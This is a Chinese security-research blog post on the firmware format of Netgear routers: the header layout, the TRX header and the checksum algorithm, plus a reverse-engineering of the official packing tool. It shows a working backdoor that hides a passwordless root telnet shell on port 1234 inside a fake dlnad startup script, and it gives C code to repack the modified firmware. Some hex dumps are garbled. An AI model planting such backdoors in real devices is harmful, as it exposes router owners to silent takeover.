Netgear固件分析与后门植入

百家 作者:Chamd5安全团队 2021-01-17 12:36:46

本篇文章由ChaMd5安全团队IOT小组投稿,主要介绍netgear某些版本的无线路由器固件的详细格式,以及如何在固件中放置后门并进行重打包的操作,并且在最后逆向分析了官方的打包工具。

Netgear介绍

netgear意译成中文为网件,该公司长期致力于为中小规模企业用户与 SOHO 用户提供简便易用并具有强大功能的网络综合解决方案。总部设在美国加州硅谷圣克拉拉市,业务遍及世界多个国家和地区。今天要分析的就是netgear的家用无线路由器产品。


固件分析

使用binwalk提取固件

在netgear官网可以下载路由器的固件,本次分析使用的是R7000-V1.0.9.88_10.2.88.chk等多个版本的固件

binwalk -e R7000-V1.0.9.88_10.2.88.chk

固件由netgear header(0x3A字节) +TRX header(0x1c字节)+linux kernel+squashfs文件系统构成。

接下来详细介绍每一个部分的含义。

netgear header

前0x3A字节是netgear自带的header,

Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F

00000000   223 24 500 00 00 3A  01 01 00 03 1003 16   *#$^   :        
00000010   C2 70 61 44 00 00 00 00  02 24 20 00 00 00 00 00   聀aD     $      
00000020   C2 70 61 44 F1 AC 09 FF  55 31 32 48 33 33 32 54   聀aD瘳 U12H332T
00000030   37 38 5445 54 47 45  41 52                     78_NETGEAR

通过查看R7000,XR300的多个版本chk文件,0-8字节是不变的,从9字节开始是固件的版本号。

  • 0x9-0x10字节是固件的版本号,对应着文件名。
  • 0x10-0x17,0x20-0x27 是netgear的chencksum信息,具体介绍在后面说明
  • 0x18-0x1F是固件大小,每一个chk文件大小都以0x3A结尾,所以文件大小信息的0x3A存放在0x7的位置。
  • 0x28-0x39字节是固件的种类信息,比如同一系列R7000,这12字节就是相同的。

TRX header

Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F

00000030                                  48 44 52 30 00 F0             HDR0 ?
00000040   E2 01 C3 75 71 F9 00 00  01 00 100 00 00 60 E5   ?胾q?       `?
00000050   21 00 00 00 00 00                                  !     

TRX是某些路由器(如linksys)和开源固件(如OpenWRT和DD-WRT)中使用的内核映像文件的格式。

TRX文件头格式如下:

struct trx_header {
 uint32_t magic;  /* "HDR0" */
 uint32_t len;  /* Length of file including header */
 uint32_t crc32;  /* 32-bit CRC from flag_version to end of file */
 uint32_t flag_version; /* 0:15 flags, 16:31 version */
 uint32_t offsets[4]; /* Offsets of partitions from start of header */
};
  • 0x3A-0x3D magic魔数
  • 0x3E-0x41 image size
  • 0x42-0x45 CRC value
  • 0x46-0x47 TRX_flag
  • 0x48-0x49 TRX_version
  • 0x4A-0x55 分区偏移量:loader 偏移: 0x1C, linux kernel 偏移: 0x21E560, rootfs 偏移: 0x0

修改固件

设置后门

这里设置的是一个很简单的后门,只是在路由器的自启动脚本中加入了启动telnet服务的语句

cd rootfs/usr/sbin
mv dlnad dlnadd
touch dlnad
vim dlnad
 #!/bin/sh

/usr/sbin/telnetd -F -l /bin/sh -p 1234 &
/usr/sbin/dlnadd &

在1234端口开启了一个不需要密码的telnet服务

sudo chown 777 dlnad

因为netgear头部含有checksum字段,我们不知道这里的验证算法,所以修改了固件内容后需要更新header的内容,这里我采用的方法是:计算crc32校验值和长度更新TRX header,利用netgear开源工具链中的packet和compatible_*.txt工具更新 netgear header。

官方开源工具

netgear官方提供的固件编译代码

在某些版本的编译代码中含有tools工具包,里面有一个packet的打包工具,我们可以利用这个工具打包固件生成header

打包固件

脚本运行环境为:Ubuntu16.04 X64 使用的固件版本为 R6300v2-V1.0.3.2_1.0.57 直接运行packet可以看到程序的example输出

逆向packet

因为不是很了解packet参数对应的具体含义,所以我使用IDA对packet进行了逆向

程序的逻辑是先通过程序参数输入对要使用的文件名变量进行赋值,然后通过 -i [configure file path/name] 获得的cfg文件提取出固件的版本信息,这个文件对应的就是 ambitCfg.h 查看文件内容,可以看到文件中定义了固件版本

/*formal version control*/

#define AMBIT_HARDWARE_VERSION     "U12H240T00"

#define AMBIT_SOFTWARE_VERSION     "V1.0.3.2"

#define AMBIT_UI_VERSION           "1.0.57"

#define STRING_TBL_VERSION         "1.0.3.2_2.1.33.8"

如果要打包别的版本固件需要对这里的字段修改成对应固件版本的信息。

接下来就是对三个输出文件添加header,这三个输出都是采用fwrite函数,将malloc_chunk的内容输入到文件中

查看addheader函数中对malloc_chunk的引用,可以发现,修改malloc_chunk的地方只要下面的代码

memcpy(malloc_chunk, v20, v24);
memcpy((char *)malloc_chunk + v24, &s, v26);
memcpy((char *)malloc_chunk + v25, dest, v27);

v20数组中先是存储了4个字节的字符串然后拷贝进了固件的版本信息

然后拷贝了 kernel_checksum 和 rootfs_checksum 接着是对kernel文件长度和rootfs文件长度的信息,然后是rootfs_kernel_checksum,填充4字节0,加上compatible.txt里的内容,最后对整个头部再求一个checksum,将结果填充进刚才4字节0的位置

calculate_checksum

接下来分析这里的计算checksum的函数

第一次调用时a1 = 0,所以c1 = 0,c0 = 0

第二次调用时a1 = 1

这里的逻辑很简单,就是从file中每次读取一个字节的数据,然后

c0 += *(unsigned char *)(kernel_file+i);
c1 += c0;

为了验证这里的计算结果,我使用GDB调试packet 查看程序的保护措施

Arch:     i386-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

只开启了NX,没有地址随机化,所以调试起来很方便

设置args,gdb pakcet 后输入

set args -k R6300v2-V1.0.3.2_1.0.57.chk -b compatible_r6300v2.txt -ok kernel -oall image -or rootfs -i ambitCfg.h

在0x8048a22设置断点

可以看到 c0 = 0x6523b70c,c1 = 0x60eef274 我自己写了一个C来实现同样的效果

#include<stdio.h>
#include<stdlib.h>

int c1,c0;

int main()
{
 FILE *kernel_file_fd = fopen("R6300v2-V1.0.3.2_1.0.57.chk","rb");
 void *kernel_file = malloc(0x2000000);
 int file_len = fread(kernel_file,1,0x2000000,kernel_file_fd);
 int i;
 for(i=0;i<file_len;i++){
  c0 += *(unsigned char *)(kernel_file+i);
  c1 += c0;
 }
 printf("0x%x,0x%x\n",c0,c1);
}

运行后发现计算结果一致

接下来分析a1 = 2时,主要是对c0,c1进行移位以及相加的操作,通过调试,最终结果为c0 = 0x5363,c1 = 1c30

返回值为0x1c305363

这个结果可以与固件中对应字段对应起来

完整版C的计算checksum代码如下:

#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>

int c1,c0;

int main()
{
 //FILE *kernel_file_fd = fopen("R6300v2-V1.0.3.2_1.0.57.chk","rb");
 FILE *kernel_file_fd = fopen("1","rb");
 void *kernel_file = malloc(0x2000000);
 int file_len = fread(kernel_file,1,0x2000000,kernel_file_fd);
 int i;
 for(i=0;i<file_len;i++){
  c0 += *(unsigned char *)(kernel_file+i);
  c1 += c0;
 }
 c0 = (c0 & 0x0ffff) + ((unsigned int)c0 >> 16);
 c0  = ((c0 >> 16) + c0) & 0xffff;
 c1 = (c1 & 0x0ffff) + ((unsigned int)c1 >> 16);
 c1  = ((c1 >> 16) + c1) & 0xffff;
 int checksum;
 checksum = (c1 << 16) | c0;
 printf("0x%x",checksum);
}

使用这个代码再计算一下 0x24-0x27位置的checksum

计算正确。

现在已经全部分析清楚了netgear固件的格式以及校验算法的原理,可以对固件进行任意的修改然后使用官方工具进行打包或者使用我上文提供的代码进行打包。



end


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系admin@chamd5.org



关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接